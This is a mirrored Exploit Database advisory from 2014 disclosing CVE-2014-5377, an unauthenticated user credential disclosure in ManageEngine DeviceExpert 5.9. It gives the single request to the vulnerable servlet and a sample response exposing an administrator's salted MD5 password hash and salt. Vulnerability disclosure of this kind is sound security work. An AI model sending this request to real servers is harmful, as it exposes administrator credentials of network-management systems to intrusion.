ManageEngine DeviceExpert 5.9 – User Credential Disclosure

• Exploit Database
• 36 阅读

• 作者： Pedro Ribeiro
  日期： 2014-08-28
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/34449/

• >> User credential disclosure in ManageEngine DeviceExpert 5.9
  >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
  ==========================================================================
  
  >> Background on the affected product:
  "DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management."
  
  
  >> Technical details:
  Vulnerability: User credential disclosure / CVE-2014-5377
  Constraints: no authentication or any other information needed.
  Affected versions: UNFIXED as of 27/08/2014 - current version 5.9 build 5980 is vulnerable, older versions likely vulnerable
  
  GET /ReadUsersFromMasterServlet
  
  Example response:
  <?xml version="1.0" encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>noreply@zohocorp.com</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>
  
  The passwords are a salted MD5 hash.